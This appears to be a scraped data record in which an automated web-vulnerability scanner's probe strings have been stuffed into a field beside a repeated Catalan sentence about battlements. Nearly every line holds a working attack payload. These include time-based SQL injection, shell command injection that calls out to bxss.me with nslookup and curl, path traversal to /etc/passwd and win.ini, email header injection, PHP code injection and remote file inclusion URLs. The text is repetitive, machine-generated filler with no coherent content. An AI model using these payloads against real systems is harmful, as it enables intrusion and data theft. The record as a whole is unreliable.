7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca -1" OR 2+893-893-1=0+0+0+1 -- Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca if(now()=sysdate(),sleep(15),0) Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca 1 waitfor delay '0:0:15' -- Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca fnrsWzp6'; waitfor delay '0:0:15' -- Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca ELv4qwJC' OR 163=(SELECT 163 FROM PG_SLEEP(15))-- Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca OgZqT5q6') OR 975=(SELECT 975 FROM PG_SLEEP(15))-- Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca lYjdyCog')) OR 52=(SELECT 52 FROM PG_SLEEP(15))-- Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca 1'" Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca @@kDkh6 Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca response.write(9778913*9234261) Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca '+response.write(9778913*9234261)+' Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca "+response.write(9778913*9234261)+" Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca echo ewyerq$()\ auygdg\nz^xyu||a #' &echo ewyerq$()\ auygdg\nz^xyu||a #|" &echo ewyerq$()\ auygdg\nz^xyu||a # Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca &echo cbwvnb$()\ qzpayl\nz^xyu||a #' &echo cbwvnb$()\ qzpayl\nz^xyu||a #|" &echo cbwvnb$()\ qzpayl\nz^xyu||a # Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca |echo juizpz$()\ kpnofh\nz^xyu||a #' |echo juizpz$()\ kpnofh\nz^xyu||a #|" |echo juizpz$()\ kpnofh\nz^xyu||a # Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca (nslookup -q=cname hityhzwsyseev18ad3.bxss.me||curl hityhzwsyseev18ad3.bxss.me)) Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca $(nslookup -q=cname hitmbstnhrofwf73a8.bxss.me||curl hitmbstnhrofwf73a8.bxss.me) Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca &nslookup -q=cname hitclycgrludo7b0f0.bxss.me&'\"`0&nslookup -q=cname hitclycgrludo7b0f0.bxss.me&`' Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca &(nslookup -q=cname hittziqlnplbk0e9c7.bxss.me||curl hittziqlnplbk0e9c7.bxss.me)&'\"`0&(nslookup -q=cname hittziqlnplbk0e9c7.bxss.me||curl hittziqlnplbk0e9c7.bxss.me)&`' Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca |(nslookup -q=cname hitnnavblmplga522d.bxss.me||curl hitnnavblmplga522d.bxss.me) Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca `(nslookup -q=cname hitgkxriycvrxc7ce4.bxss.me||curl hitgkxriycvrxc7ce4.bxss.me)` Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca ;(nslookup -q=cname hitsoeigyjwzzd77cd.bxss.me||curl hitsoeigyjwzzd77cd.bxss.me)|(nslookup -q=cname hitsoeigyjwzzd77cd.bxss.me||curl hitsoeigyjwzzd77cd.bxss.me)&(nslookup -q=cname hitsoeigyjwzzd77cd.bxss.me||curl hitsoeigyjwzzd77cd.bxss.me) Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca 8Wmt2pXw Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca ../../../../../../../../../../../../../../etc/passwd Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca ../../../../../../../../../../../../../../windows/win.ini Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca file:///etc/passwd Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca ../offensive-language Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language%0abcc:074625.318-1652.318.36ff5.19483.2@bxss.me Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca to@example.com>%0d%0abcc:074625.318-1653.318.36ff5.19483.2@bxss.me Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca ${9999331+9999429} Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca Http://bxss.me/t/fit.txt Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca http://bxss.me/t/fit.txt%3F.jpg Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca /etc/shells Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca c:/windows/win.ini Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca bxss.me Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language&n951101=v914298 Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca ) Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca !(()&&!|*|*| Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca ^(#$!@#$)(()))****** Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca '"() Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language'&&sleep(27*1000)*xbgzfx&&' Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language"&&sleep(27*1000)*wuorhw&&" Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language'||sleep(27*1000)*gayojq||' Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language"||sleep(27*1000)*nkixkm||" Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca '.gethostbyname(lc('hitrx'.'henweosq83657.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(67).chr(97).chr(80).' Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca ".gethostbyname(lc("hitue"."rebvdhzs9560f.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(81).chr(115).chr(88)." Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca ';print(md5(31337));$a=' Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca ";print(md5(31337));$a=" Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca ${@print(md5(31337))} Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca ${@print(md5(31337))}\ Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca '.print(md5(31337)).' Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca HttP://bxss.me/t/xss.html?%00 Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca bxss.me/t/xss.html?%00 Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca xfs.bxss.me Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca '" Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca